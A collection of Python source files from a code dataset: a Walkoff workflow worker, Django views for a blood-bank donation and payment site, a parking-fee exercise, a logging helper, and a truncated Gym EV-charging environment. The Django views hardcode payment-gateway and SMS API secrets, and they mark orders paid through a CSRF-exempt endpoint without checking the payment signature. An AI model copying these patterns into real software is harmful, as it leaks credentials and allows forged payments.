\"\"\"Initialize a Workfer object, which will be managing the execution of Workflows\n\n Args:\n id_ (str): The ID of the worker\n config_path (str): The path to the configuration file to be loaded\n \"\"\"\n logger.info('Spawning worker {}'.format(id_))\n self.id_ = id_\n self._lock = Lock()\n signal.signal(signal.SIGINT, self.exit_handler)\n signal.signal(signal.SIGABRT, self.exit_handler)\n\n if os.name == 'nt':\n walkoff.config.initialize(config_path=config_path)\n else:\n walkoff.config.Config.load_config(config_path)\n\n self.execution_db = ExecutionDatabase(walkoff.config.Config.EXECUTION_DB_TYPE,\n walkoff.config.Config.EXECUTION_DB_PATH)\n self.case_db = CaseDatabase(walkoff.config.Config.CASE_DB_TYPE, walkoff.config.Config.CASE_DB_PATH)\n\n @WalkoffEvent.CommonWorkflowSignal.connect\n def handle_data_sent(sender, **kwargs):\n self.on_data_sent(sender, **kwargs)\n\n self.handle_data_sent = handle_data_sent\n\n self.thread_exit = False\n\n server_secret_file = os.path.join(walkoff.config.Config.ZMQ_PRIVATE_KEYS_PATH, \"server.key_secret\")\n server_public, server_secret = auth.load_certificate(server_secret_file)\n client_secret_file = os.path.join(walkoff.config.Config.ZMQ_PRIVATE_KEYS_PATH, \"client.key_secret\")\n client_public, client_secret = auth.load_certificate(client_secret_file)\n\n socket_id = u\"Worker-{}\".format(id_).encode(\"ascii\")\n\n key = PrivateKey(client_secret[:nacl.bindings.crypto_box_SECRETKEYBYTES])\n server_key = PrivateKey(server_secret[:nacl.bindings.crypto_box_SECRETKEYBYTES]).public_key\n\n self.cache = walkoff.cache.make_cache(walkoff.config.Config.CACHE)\n\n self.capacity = walkoff.config.Config.NUMBER_THREADS_PER_PROCESS\n self.subscription_cache = SubscriptionCache()\n\n case_logger = CaseLogger(self.case_db, self.subscription_cache)\n\n self.workflow_receiver = WorkflowReceiver(key, server_key, walkoff.config.Config.CACHE)\n\n self.workflow_results_sender = WorkflowResultsHandler(\n socket_id,\n client_secret,\n client_public,\n server_public,\n walkoff.config.Config.ZMQ_RESULTS_ADDRESS,\n self.execution_db,\n case_logger)\n\n self.workflow_communication_receiver = WorkflowCommunicationReceiver(\n socket_id,\n client_secret,\n client_public,\n server_public,\n walkoff.config.Config.ZMQ_COMMUNICATION_ADDRESS)\n\n self.comm_thread = threading.Thread(target=self.receive_communications)\n\n self.comm_thread.start()\n\n self.workflows = {}\n self.threadpool = ThreadPoolExecutor(max_workers=self.capacity)\n\n self.receive_workflows()\n\n def exit_handler(self, signum, frame):\n \"\"\"Clean up upon receiving a SIGINT or SIGABT\"\"\"\n logger.info('Worker received exit signal {}'.format(signum))\n self.thread_exit = True\n self.workflow_receiver.shutdown()\n if self.threadpool:\n self.threadpool.shutdown()\n self.workflow_communication_receiver.shutdown()\n if self.comm_thread:\n self.comm_thread.join(timeout=2)\n self.workflow_results_sender.shutdown()\n os._exit(0)\n\n def receive_workflows(self):\n \"\"\"Receives requests to execute workflows, and sends them off to worker threads\"\"\"\n workflow_generator = self.workflow_receiver.receive_workflows()\n while not self.thread_exit:\n if not self.__is_pool_at_capacity:\n workflow_data = next(workflow_generator)\n if workflow_data is not None:\n self.threadpool.submit(self.execute_workflow_worker, *workflow_data)\n time.sleep(0.1)\n\n @property\n def __is_pool_at_capacity(self):\n with self._lock:\n return len(self.workflows) >= self.capacity\n\n def execute_workflow_worker(self, workflow_id, workflow_execution_id, start, start_arguments=None, resume=False,\n environment_variables=None):\n \"\"\"Execute a workflow\n\n Args:\n workflow_id (UUID): The ID of the Workflow to be executed\n workflow_execution_id (UUID): The execution ID of the Workflow to be executed\n start (UUID): The ID of the starting Action\n start_arguments (list[Argument], optional): Optional list of starting Arguments. Defaults to None\n resume (bool, optional): Optional boolean to signify that this Workflow is being resumed. Defaults to False.\n environment_variables (list[EnvironmentVariable]): Optional list of environment variables to pass into\n the workflow. These will not be persistent.\n \"\"\"\n self.execution_db.session.expire_all()\n\n workflow_status = self.execution_db.session.query(WorkflowStatus).filter_by(\n execution_id=workflow_execution_id).first()\n if workflow_status.status == WorkflowStatusEnum.aborted:\n return\n\n workflow = self.execution_db.session.query(Workflow).filter_by(id=workflow_id).first()\n workflow._execution_id = workflow_execution_id\n if resume:\n saved_state = self.execution_db.session.query(SavedWorkflow).filter_by(\n workflow_execution_id=workflow_execution_id).first()\n workflow._accumulator = saved_state.accumulator\n\n for branch in workflow.branches:\n if branch.id in workflow._accumulator:\n branch._counter = workflow._accumulator[branch.id]\n\n workflow._instance_repo = AppInstanceRepo(saved_state.app_instances)\n\n with self._lock:\n self.workflows[threading.current_thread().name] = workflow\n\n start = start if start else workflow.start\n workflow.execute(execution_id=workflow_execution_id, start=start, start_arguments=start_arguments,\n resume=resume, environment_variables=environment_variables)\n with self._lock:\n self.workflows.pop(threading.current_thread().name)\n\n def receive_communications(self):\n \"\"\"Constantly receives data from the ZMQ socket and handles it accordingly\"\"\"\n for message in self.workflow_communication_receiver.receive_communications():\n if message.type == WorkerCommunicationMessageType.workflow:\n self._handle_workflow_control_communication(message.data)\n elif message.type == WorkerCommunicationMessageType.case:\n self._handle_case_control_communication(message.data)\n\n def _handle_workflow_control_communication(self, message):\n workflow = self.__get_workflow_by_execution_id(message.workflow_execution_id)\n if workflow:\n if message.type == WorkflowCommunicationMessageType.pause:\n workflow.pause()\n elif message.type == WorkflowCommunicationMessageType.abort:\n workflow.abort()\n\n def _handle_case_control_communication(self, message):\n if message.type == CaseCommunicationMessageType.create:\n self.subscription_cache.add_subscriptions(message.case_id, message.subscriptions)\n elif message.type == CaseCommunicationMessageType.update:\n self.subscription_cache.update_subscriptions(message.case_id, message.subscriptions)\n elif message.type == CaseCommunicationMessageType.delete:\n self.subscription_cache.delete_case(message.case_id)\n\n def on_data_sent(self, sender, **kwargs):\n \"\"\"Listens for the data_sent callback, which signifies that an execution element needs to trigger a\n callback in the main thread.\n\n Args:\n sender (ExecutionElement): The execution element that sent the signal.\n kwargs (dict): Any extra data to send.\n \"\"\"\n workflow = self._get_current_workflow()\n self.workflow_results_sender.handle_event(workflow, sender, **kwargs)\n\n def _get_current_workflow(self):\n with self._lock:\n return self.workflows[threading.currentThread().name]\n\n def __get_workflow_by_execution_id(self, workflow_execution_id):\n with self._lock:\n for workflow in self.workflows.values():\n if workflow.get_execution_id() == workflow_execution_id:\n return workflow\n return None\n","sub_path":"walkoff/multiprocessedexecutor/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":20296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"368718228","text":"from django.contrib.auth import login, logout,authenticate\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.shortcuts import redirect, render\nfrom django.contrib import messages\nfrom django.views.generic import CreateView\nfrom django.core.files.storage import FileSystemStorage\nfrom .forms import CustomerSignUpForm, BloodBankSignUpForm\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom signup import forms\nfrom .models import *\nfrom signup.forms import *\nimport urllib,json,requests\nfrom random import randrange\n\n#Razorpay\nimport razorpay\nfrom django.views.decorators.csrf import csrf_exempt\ndef base(request):\n return render(request,'base.html',{})\n\ndef home(request):\n return render(request,'bloodcarehome.html',{})\n\n\ndef gen_otp(uid,phn):\n otp = randrange(111111,999999)\n url = \"http://2factor.in/API/V1/89d3d805-c971-11ea-9fa5-0200cd936042/SMS/\" + str(phn) +\"/\"+str(otp)+\"/OTPSEND\"\n resp = requests.get(url)\n print(resp.json())\n if resp.json().get('Status') == \"Success\":\n Validate_otp(otp=otp,uid=uid).save()\n\ndef customer_register(request):\n registered = False\n if request.method == \"POST\":\n user_form = CustomerSignUpForm(data = request.POST)\n print(\"1\")\n if user_form.is_valid() :\n print(\"2\")\n user = user_form.save()\n login(request, user)\n #customer=Customer.objects.get(user=user)\n #print(customer.blood_group)\n uid = user.username\n print(uid)\n phn = user.phone_number\n print(phn)\n gt=gen_otp(uid,phn)\n return render(request,'signup/enter_otp.html',{'uid':uid})\n #user.save()\n else:\n return render(request,'signup/customer_register.html',{'user_form_errors':user_form.non_field_errors})\n else:\n user_form = CustomerSignUpForm()\n return render(request,'signup/customer_register.html',{'user_form':user_form,'registered':registered})\n\n\n\"\"\"class customer_register(CreateView):\n model = User\n form_class = CustomerSignUpForm\n template_name = 'signup/customer_register.html'\n\n def form_valid(self, form):\n user = form.save()\n login(self.request, user)\n return redirect('/')\"\"\"\ndef blood_bank_register(request):\n registered = False\n if request.method == \"POST\":\n user_form = BloodBankSignUpForm(data = request.POST)\n\n if user_form.is_valid() :\n user = user_form.save()\n login(request, user)\n #registered=True\n uid = user.username\n print(uid)\n phn = user.phone_number\n print(phn)\n gt=gen_otp(uid,phn)\n return render(request,'signup/enter_otp.html',{'uid':uid})\n #user.save()\n else:\n return render(request,'signup/blood_bank_register.html',{'user_form_errors':user_form.non_field_errors})\n else:\n user_form = BloodBankSignUpForm()\n return render(request,'signup/blood_bank_register.html',{'user_form':user_form,'registered':registered})\n\n\"\"\"class blood_bank_register(CreateView):\n model = User\n form_class = BloodBankSignUpForm\n template_name = 'signup/blood_bank_register.html'\n\n def form_valid(self, form):\n user = form.save()\n login(self.request, user)\n return redirect('/')\"\"\"\ndef login_view(request):\n if request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n\n\n user = authenticate(username=username,password=password)\n \n\n if user:\n if user.is_active:\n login(request,user)\n return HttpResponseRedirect(reverse('index'))\n #return redirect('signup:register')\n\n else:\n return HttpResponse(\"Inactive\")\n else:\n return render(request,'signup/invalid.html',{})\n else:\n return render(request,'signup/login.html',{})\n\n\n\n\"\"\"\"def login_request(request):\n if request.method=='POST':\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password')\n \n user = authenticate(username=username, password=password)\n if user is not None :\n login(request,user)\n return redirect('/')\n else:\n messages.error(request,\"Invalid username or password\")\n else:\n messages.error(request,\"Invalid username or password\")\n return render(request, 'signup/login.html',\n context={'form':AuthenticationForm()})\"\"\"\n\ndef logout_view(request):\n logout(request)\n return redirect('/')\n\n# Create your views here.\n\n#OTP\n\n\n\ndef otp_validation(request):\n validated = False\n registered = False\n invalid = False\n if request.method == \"POST\":\n otp = request.POST[\"otp\"]\n uid = request.POST[\"uid\"]\n try:\n obj = Validate_otp.objects.get(otp=otp,uid=uid)\n uobj = User.objects.get(username=uid)\n uobj.phn_valid = 1\n uobj.save()\n obj.delete()\n validated = True\n registered=True\n return render(request,'signup/customer_register.html',{'registered':registered,'validated':validated})\n except:\n invalid = True\n obj = Validate_otp.objects.get(uid=uid)\n obj.delete()\n obj1=User.objects.get(username=uid)\n phn = obj1.phone_number\n gt=gen_otp(uid,phn)\n return render(request,'signup/enter_otp.html',{'uid':uid,'invalid':invalid})\n\n\n# edit profile \ndef edit_profile(request):\n print(\"edit profile \")\n if request.method == 'POST':\n form = EditProfileForm(request.POST, instance = request.user)\n print(\"form post \")\n print(form.is_valid())\n if form.is_valid():\n form.save()\n print(\"form is valid\")\n print(form)\n return redirect('/')\n \n else:\n form = EditProfileForm(instance =request.user)\n args = {'form':form}\n\n return render(request, 'profile/profilepage.html',args)\n \n#Blood Bank Profile\ndef view_profile(request):\n bank = Blood_Bank.objects.get(user = request.user)\n blood_storage = Blood_storage.objects.get(blood_bank = bank)\n return render(request,'BBprofile/profilepage.html',{'bank':bank,'blood_storage':blood_storage})\n\ndef bb_edit_profile(request):\n blood_bank = Blood_Bank.objects.get(user = request.user)\n blood_storage = Blood_storage.objects.get(blood_bank = blood_bank)\n if request.POST:\n bb_form = BloodBankProfileCreationForm(request.POST,instance = blood_bank)\n bs_form = BloodStorageProfileCreationForm(request.POST,instance = blood_storage)\n if bb_form.is_valid() and bs_form.is_valid():\n profile1 = bb_form.save(commit=False)\n profile2 = bs_form.save(commit=False)\n profile1.save()\n profile2.save()\n return redirect('home')\n else:\n bb_form = BloodBankProfileCreationForm(instance = blood_bank)\n bs_form = BloodStorageProfileCreationForm(instance = blood_storage)\n return render(request, 'BBprofile/profile.html', {'bb_form':bb_form, 'bs_form': bs_form})\n\n\n\n #blood request page and cart and razorpay integration\n\ndef blood_request_page(request):\n data = Blood_Bank.objects.all()\n et = []\n \n for t in data:\n et.append({'name' : t.name, 'parental_hospital_name' : t.user.address,'category':t.category,'pk':t.pk,\"Storage\":\"A+={0},A-={1},B+={2},B-={3},AB+={4},AB-={5}\".format(t.blood_storage.A_p,t.blood_storage.A_m,t.blood_storage.B_p,t.blood_storage.B_m,t.blood_storage.AB_p,t.blood_storage.AB_m)})\n data = json.dumps(et)\n if request.method ==\"POST\":\n print(\"In blood request post\")\n states = request.POST.get('state')\n cities = request.POST.get('city')\n blood_t = request.POST.get('blood_type')\n data = Blood_Bank.objects.all()\n et = []\n for t in data:\n dic = {\"A+\":t.blood_storage.A_p,\"A-\":t.blood_storage.A_m,\"B+\":t.blood_storage.B_p,\"B-\":t.blood_storage.B_m,\"AB+\":t.blood_storage.AB_p,\"AB-\":t.blood_storage.AB_m,\"O+\":t.blood_storage.O_p,\"O-\":t.blood_storage.O_m}\n if t.user.state == str(states) and t.user.city == str(cities) and dic[blood_t]>0:\n print(t.user.state,t.user.city)\n et.append({'name' : t.name, 'parental_hospital_name' : t.user.address,'category':t.category,'pk':t.pk,\"Storage\":\"A+={0},A-={1},B+={2},B-={3},AB+={4},AB-={5}\".format(t.blood_storage.A_p,t.blood_storage.A_m,t.blood_storage.B_p,t.blood_storage.B_m,t.blood_storage.AB_p,t.blood_storage.AB_m)})\n data = json.dumps(et) \n return render(request,'BRP/blood_request_page.html',{\"data\":data})\n\ndef donor_request_page(request):\n data = Customer.objects.all()\n et = []\n \n for t in data:\n et.append({'name' : t.user.username, 'city' : t.user.city,'address':t.user.address,'phone_number':t.user.phone_number,\"blood_group\":t.blood_group})\n data = json.dumps(et)\n #print(data)\n if request.method ==\"POST\":\n print(\"In donor request post\")\n\n states = request.POST.get('state')\n cities = request.POST.get('city')\n blood_t = request.POST.get('blood_type')\n data = Customer.objects.all()\n et = []\n for t in data:\n print(t.user.state,t.user.city,t.blood_group,blood_t)\n if t.user.state == str(states) and t.user.city == str(cities) and t.blood_group == str(blood_t):\n \n et.append({'name' : t.user.username, 'city' : t.user.city,'address':t.user.address,'phone_number':t.user.phone_number,\"blood_group\":t.blood_group})\n\n data = json.dumps(et)\n return render(request,'BRP/donor_request_page.html',{\"data\":data})\n\n\n return render(request,'BRP/donor_request_page.html',{\"data\":data})\n \n#razorpay integration\ndef cart(request):\n if request.method == \"POST\":\n print(\"In cart request post\")\n\n if request.POST.get(\"form_type\") == 'formOne':\n k = request.POST.get('pk')\n userobjects = request.user\n print(userobjects)\n print(\"User city\",userobjects.customer.rewards)\n data = Blood_Bank.objects.get(pk=k)\n print(\"formOne\")\n return render(request,'BRP/cart.html',{\"Blood_Bank\":data,\"user\":userobjects})\n\n if request.POST.get(\"form_type\") == 'formTwo':\n print(\"formTwo\")\n username = request.user\n print(username)\n\n amount = request.POST.get('amount')\n BB_name = request.POST.get('Blood_Bank_name')\n blood_t = request.POST.get('blood_type')\n print(blood_t)\n\n print(\"BB_name\",BB_name)\n\n print(amount)\n #amount = amount*100 converting units into ruppes\n client = razorpay.Client(auth=('rzp_test_tTJbulofSsAnAO', '1jUvwJJI8cTRmQd3g7HtA2sm'))\n print(client)\n payment = client.order.create({'amount': int(amount)*100, 'currency': 'INR','payment_capture': '1'})\n print(\"payment_order\",payment)\n order1 = order(Customer=username,quantity=2,amount=amount,order_id=payment['id'],Blood_Bank=BB_name,blood_type=blood_t)\n print(order1)\n order1.save()\n return render(request,'BRP/cart.html',{\"pid\":payment['id'],\"payment\":True})\n else:\n return render(request,'BRP/cart.html',{\"payment\":False})\n@csrf_exempt\ndef success(request):\n if request.method == \"POST\":\n a = (request.POST)\n order_id = \"\"\n for key , val in a.items():\n if key == \"razorpay_order_id\":\n order_id = val\n break\n\n user = order.objects.filter(order_id = order_id).first()\n user.paid = True\n user.save()\n return render(request, \"BRP/success.html\")\n\n\ndef contact(request):\n if request.method == 'POST':\n form = contactForm(request.POST)\n if form.is_valid():\n save_it = form.save(commit=True)\n save_it.save()\n return render(request,'contact/thanks.html')\n else:\n form = FeedbackForm()\n return render(request,'contact/form.html',{'form': form})\n","sub_path":"bloodCare/signup/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"389607061","text":"def compute_fee(day, time_in, time_out):\n t_in_hr=time_in//100\n t_in_min=time_in%100\n t_out_hr=time_out//100\n t_out_min=time_out%100\n total_time=(t_out_hr-t_in_hr)*60+t_out_min-t_in_min\n if day==6:\n rate1=2.5\n rate2=1.5\n rate3=7\n scharge=0.2\n elif day!=7:\n rate1=2\n rate2=1.2\n rate3=5\n scharge=0.1\n if day==7:\n fare=5\n else:\n if t_in_hr<7:\n if t_out_hr<7:\n fare=(t_out_hr-t_in_hr+1)*rate1\n elif t_out_hr<18:\n fare=(7-t_in_hr)*rate1+((t_out_hr-7)*2+(t_out_min//30+1))*rate2\n else:\n fare=(7-t_in_hr)*rate1+22*rate2+5\n elif t_in_hr<18:\n if t_out_hr<18:\n fare=((t_out_hr-t_in_hr-1)*2+(t_out_min//30+1+(2-t_in_min//30)))*rate2\n else:\n fare=((18-t_in_hr-1)*2+(2-t_in_min//30))*rate2+rate3\n else:\n fare=rate3\n if total_time>600:\n fare*=(1+scharge)\n if total_time<=10:\n return 0\n else:\n if t_out_hr>=22:\n fare+=3\n return fare\n#print(compute_fee(2, 429, 750))\t\n#print(compute_fee(6, 701, 1949))\t\t\n#print(compute_fee(7, 1500, 2201))\t\t\n#print(compute_fee(4, 2259, 2301))\t\t\n#print(compute_fee(1, 1200, 2201))\ndef compute_happy_numbers(range1, range2):\n def is_happy_number(x):\n if x==0 or x==4 or x==16 or x==20 or x==37 or x==42 or x==58 or x==89 or x==145:\n return False\n elif x==1:\n return True\n else:\n str1=str(x)\n result=0\n for num in str1:\n result+=(int(num)**2)\n return is_happy_number(result)\n count1,count2=0,0\n for i in range(range1[0],range1[1]+1):\n if is_happy_number(i):\n count1+=1\n for i in range(range2[0],range2[1]+1):\n if is_happy_number(i):\n count2+=1\n if count1==count2:\n return (count1,count2,None)\n else:\n return (count1,count2,1 if count1>count2 else 2)\nprint(compute_happy_numbers((1,1), (1,1)))\n","sub_path":"PE/parking fee.py","file_name":"parking fee.py","file_ext":"py","file_size_in_byte":2085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"575161380","text":"import logging\r\nimport os\r\nimport sys\r\n\r\nfrom datetime import datetime\r\nfrom logging import FileHandler\r\nfrom os import path\r\n\r\n\"\"\"\r\nTo use import, configure, get the logger and start writing messages!\r\n\r\n log= Log()\r\n\r\n log.basic_config(\r\n logfile_name='coupon',\r\n logfile_path='log',\r\n file_level= logging.INFO,\r\n console_level= logging.CRITICAL\r\n )\r\n\r\n log.get_logger()\r\n\r\n log.info('This is an info message')\r\n\r\n log.debug('This is a debug message')\r\n\r\n-- Chris Alves\r\n\"\"\"\r\nclass Log:\r\n def __init__(self):\r\n self.logger_name= ''\r\n self.logfile_name= 'log'\r\n self.logfile_path= 'logs'\r\n \r\n # Levels: NOTSET= 0 DEBUG= 10 INFO= 20 WARNING= 30 ERROR= 40 CRITICAL= 50\r\n self.file_level= logging.INFO\r\n self.console_level= logging.CRITICAL\r\n\r\n self.console_format= logging.Formatter(\r\n \"%(levelname)s: %(asctime)s %(message)s\", datefmt=\"%m/%d/%Y %I:%M:%S %p\")\r\n\r\n self.file_format= logging.Formatter(\r\n \"%(levelname)s: %(funcName)s %(asctime)s %(message)s\", datefmt=\"%m/%d/%Y %I:%M:%S %p\")\r\n\r\n self.file_timeformat= \"_%m-%d-%Y__%I_%M_%S_%p\"\r\n \r\n def basic_config(self, logger_name= '', logfile_name= 'log', logfile_path= 'logs',\r\n file_level= logging.INFO, console_level= logging.CRITICAL):\r\n \"\"\"A quick wat to configure the logger without formatting\"\"\"\r\n self.logger_name = logger_name\r\n self.logfile_name= logfile_name\r\n self.logifle_path= logfile_path\r\n self.file_level= file_level\r\n self.console_level= console_level\r\n\r\n def get_logger(self):\r\n \"\"\"Configures the main logger\"\"\"\r\n logger = logging.getLogger(self.logger_name)\r\n # better to have too much log than not enough\r\n logger.setLevel(logging.DEBUG)\r\n logger.addHandler(self.get_console_handler())\r\n logger.addHandler(self.get_file_handler())\r\n # with this pattern, it's rarely necessary to propagate the error up to parent\r\n logger.propagate = False\r\n\r\n return logger\r\n\r\n\r\n def get_file_handler(self):\r\n \"\"\"Configures the file handler\"\"\"\r\n\r\n file = self.logfile_name + self.get_time() + '.log'\r\n file_handler= BetterFileHandler(self.logfile_path, file, 'a')\r\n file_handler.setLevel(self.file_level)\r\n file_handler.setFormatter(self.file_format)\r\n\r\n return file_handler\r\n\r\n\r\n def get_console_handler(self):\r\n \"\"\"Configures the console handler\"\"\"\r\n console_handler = logging.StreamHandler(sys.stdout)\r\n console_handler.setLevel(self.console_level)\r\n console_handler.setFormatter(self.console_format)\r\n\r\n return console_handler\r\n\r\n\r\n def get_time(self):\r\n \"\"\"Returns current time\"\"\"\r\n return datetime.now().strftime(self.file_timeformat)\r\n\r\nclass BetterFileHandler(FileHandler):\r\n \"\"\"Fixes path issues with File Handler\"\"\"\r\n def __init__(self, log_file_dir, filename, mode):\r\n #if this file is moved edit here\r\n root_dir= path.abspath(path.join(path.dirname(path.realpath(__file__)), ''))\r\n full_path= path.abspath(path.join(root_dir, log_file_dir))\r\n\r\n if not path.exists(full_path):\r\n os.mkdir(full_path)\r\n\r\n super(BetterFileHandler, self).__init__(full_path + '/' + filename, mode)\r\n","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":3354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"559301649","text":"# from gym.utils import seeding\nimport datetime\nfrom copy import deepcopy\nimport numpy as np\nimport itertools\nimport pandas as pd\nfrom gym import spaces\nfrom gym_ev_charging.config_gym import get_config\nimport os\n\nimport gym\nimport gym_utils as utils\nfrom data import toy_data\n\n\nclass EVChargingEnv(gym.Env):\n \"\"\"EVChargingEnv implements an OpenAI Gym Environment that simulates car arrivals, departures, and charging\n decisions from real data.\n\n \"\"\"\n # metadata = {'render.modes': ['human']}\n\n def __init__(self):\n self.info = None\n\n self.evaluation_mode = False\n\n self.charging_data = None\n self.elec_price_data = None\n self.durations = []\n self.done = False\n self.state = None\n\n def build(self, config=None):\n \"\"\"\n Builds the environment based on the settings in config\n :param config:\n :return:\n \"\"\"\n if config is None:\n config = get_config('default')\n self.config = config\n\n self.random_state = np.random.RandomState(config.RAND_SEED)\n\n self.reward_range = (-config.reward_magnitude, config.reward_magnitude)\n self.num_stations = config.NUM_STATIONS\n self.episode_length = config.EPS_LEN\n self.time_step = config.TIME_STEP\n self.max_power = config.MAX_POWER\n self.min_power = config.MIN_POWER\n self.transformer_capacity = config.MAX_POWER * config.NUM_STATIONS * config.TRANSFORMER_LIMIT\n # completion, price, violation\n self.reward_weights = [x / float(sum(config.REWARD_WEIGHTS)) for x in config.REWARD_WEIGHTS]\n self.delayed_charge_reward = [0] * self.num_stations\n\n cwd = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n path = os.path.join(cwd, \"data\", \"clean\")\n train_data = os.path.join(path, self.config.train_file)\n eval_data = os.path.join(path, self.config.eval_file)\n self.train_charging_data = utils.load_charging_data(train_data, config.NUM_STATIONS, config.TIME_STEP)\n self.eval_charging_data = utils.load_charging_data(eval_data, config.NUM_STATIONS, config.TIME_STEP)\n self.total_elec_price_data = pd.DataFrame()\n\n if config.obs_features == 'discrete':\n self.featurize = utils.featurize_s\n self.observation_dimension = 24+7+5 + 17*config.NUM_STATIONS\n elif config.obs_features == 'continuous':\n self.featurize = utils.featurize_cont\n self.observation_dimension = 4 + 5*config.NUM_STATIONS\n if config.do_not_featurize:\n self.featurize = lambda x: x\n self.observation_dimension = 7 + 3 + 5 * config.NUM_STATIONS\n elif config.obs_features == 'combined':\n self.featurize = utils.featurize_comb\n self.observation_dimension = 24+7+5 + 4 + (17+5)*config.NUM_STATIONS\n\n self.observation_space = np.zeros(self.observation_dimension)\n\n if self.config.continuous_actions:\n self.action_space = np.zeros(config.NUM_STATIONS)\n else:\n self.actions = [np.linspace(config.MIN_POWER, config.MAX_POWER, config.NUM_POWER_STEPS)\n for _ in range(config.NUM_STATIONS)]\n # combination of decisions for all stations\n self.action_map = {idx: np.array(a) for idx, a in enumerate(itertools.product(*self.actions))}\n self.action_space = gym.spaces.Discrete(len(self.action_map))\n\n # get initial state\n self.reset()\n \n def step(self, action):\n \"\"\"\n\n Parameters\n ----------\n action :\n\n Returns\n -------\n ob, reward, done, info : tuple\n ob (object) :\n an environment-specific object representing your observation of\n the environment.\n reward (float) :\n amount of reward achieved by the previous action. The scale\n varies between environments, but the goal is always to increase\n your total reward.\n done (bool) :\n whether it's time to reset the environment again. Most (but not\n all) tasks are divided up into well-defined episodes, and done\n being True indicates the episode has terminated. (For example,\n perhaps the pole tipped too far, or you lost your last life.)\n info (dict) :\n diagnostic information useful for debugging. It can sometimes\n be useful for learning (for example, it might contain the raw\n probabilities behind the environment's last state change).\n However, official evaluations of your agent are not allowed to\n use this for learning.\n \"\"\"\n self.info = {\n 'new_state': None,\n 'charge_rates': [],\n 'elec_cost': None,\n 'best_possible_energy': [],\n 'tot_energy_delivered': [],\n 'price': None,\n 'energy_delivered': 0\n }\n if not self.config.continuous_actions:\n #translate action from number to tuple\n action = self.action_map[action]\n if self.config.scale_actions_transformer:\n action = utils.scale_action(action, self.transformer_capacity)\n new_state, reward = self.take_action(action)\n #translate action from number to tuple\n self.info['new_state'] = new_state\n\n return self.featurize(new_state), reward, self.done, self.info\n \n def charge_car(self, station, new_station, charge_rate):\n \"\"\"\n Charges the car that was present at station\n :param station: (dictionary) contains old station attributes\n :param new_station: (dictionary) contains to be updated station attributes\n :param charge_rate: (float)\n :return: (float) amount of energy charged to the car\n \"\"\"\n is_car, des_char, per_char, curr_dur = station['is_car'], station['des_char'], station['per_char'], station['curr_dur']\n new_station['is_car'] = True\n new_station['des_char'] = des_char\n new_station['curr_dur'] = curr_dur + self.time_step\n curr_char = per_char*des_char\n total_char = max(min(des_char, curr_char +charge_rate*self.time_step), 0)\n energy_added = total_char - curr_char\n self.info['energy_delivered'] += energy_added\n if energy_added > 0: # why is this if / elif / else necessary?\n self.info['charge_rates'].append(charge_rate)\n elif energy_added < 0:\n self.info['charge_rates'].append(charge_rate)\n else:\n self.info['charge_rates'].append(0)\n new_station['per_char'] = float(total_char)/des_char\n return energy_added\n \n def car_leaves(self, new_station):\n \"\"\"\n Handles a car leaving at the current time step\n :param new_station: (dictionary) contains to be updated station attributes\n :return:\n \"\"\"\n #compute statistics for self.info\n total_energy = new_station['des_char']*new_station['per_char']\n best_possible_energy = min(new_station['curr_dur']*self.max_power, new_station['des_char'])\n self.info['tot_energy_delivered'].append(total_energy)\n self.info['best_possible_energy'].append(best_possible_energy)\n #reset the station\n new_station['is_car'] = False\n new_station['des_char'], new_station['per_char'], new_station['curr_dur'] = 0,0,0\n if self.config.end_after_leave and self.config.NUM_STATIONS == 1:\n self.done = True\n\n def car_arrives(self, new_station, session):\n \"\"\"\n Handles a new car arriving at the current time step\n :param new_station: (dictionary) contains to be updated station attributes\n :param session: (list) charging data for new charging session\n :return:\n \"\"\"\n new_station['is_car'] = True\n new_station['des_char'] = session[1]\n new_station['per_char'] = 0\n new_station['curr_dur'] = 0\n \n def take_action(self, actions):\n \"\"\"\n Charges the cars at each station as specified by the charging rates in actions\n :param actions: (list) charge rates at each station as specified by the controller\n :return: new state (dict) and reward (float) of taking the charging actions\n \"\"\"\n # print(self.state)\n new_state = {}\n time = self.state['time']\n new_time = time + datetime.timedelta(hours=self.time_step)\n new_state['time'] = new_time\n new_state[\"price\"] = self.elec_price_data[new_time.to_pydatetime()]\n stations, energy_charged, percent_charged = [],[],[]\n for stn_num, station in enumerate(self.state['stations']):\n new_station = deepcopy(station)\n if station['is_car']:\n energy_added = self.charge_car(station, new_station, actions[stn_num])\n if new_station['curr_dur'] >= self.durations[stn_num]:\n self.durations[stn_num] = 0\n self.car_leaves(new_station)\n else:\n energy_added = 0\n self.info['charge_rates'].append(0)\n #see if new car comes\n loc = self.charging_data[stn_num]\n next_start_time = datetime.datetime(9999, 1, 1) if len(loc) == 0 else loc[-1][0]\n if new_time >= next_start_time:\n #new car arrives\n session = loc.pop()\n self.durations[stn_num] = session[2]\n self.car_arrives(new_station, session)\n percent_charged.append(new_station['per_char'])\n energy_charged.append(energy_added)\n stations.append(new_station)\n new_state['stations'] = stations\n reward = self.reward(\n energy_charged=energy_charged,\n percent_charged=percent_charged,\n )\n # if self.config.penalize_unecessary_actions > 0:\n # is_car = np.array([int(station['is_car']) for station in self.state['stations']])\n # not_full = np.array([int(p < 1.0) for p in percent_charged])\n # a_charge = np.array([int(a > 0.1) for a in actions])\n # unnecessary_actions = (1 - (is_car*not_full)) * a_charge\n # # unnecessary_actions = (1 - is_car) * a_charge # not penalize charging when full car is present\n # reward -= self.config.penalize_unecessary_actions * float(sum(unnecessary_actions)) / float(self.num_stations)\n self.state = new_state\n if (not self.config.end_after_leave) or (self.config.NUM_STATIONS > 1):\n self.done = sum([len(loc) for loc in self.charging_data]) + sum(self.durations) == 0\n return new_state, reward\n\n def get_initial_state(self):\n \"\"\"\n Sets the initial state based on the earliest charging session in self.charging_data\n :return:\n \"\"\"\n ## get_start_time\n 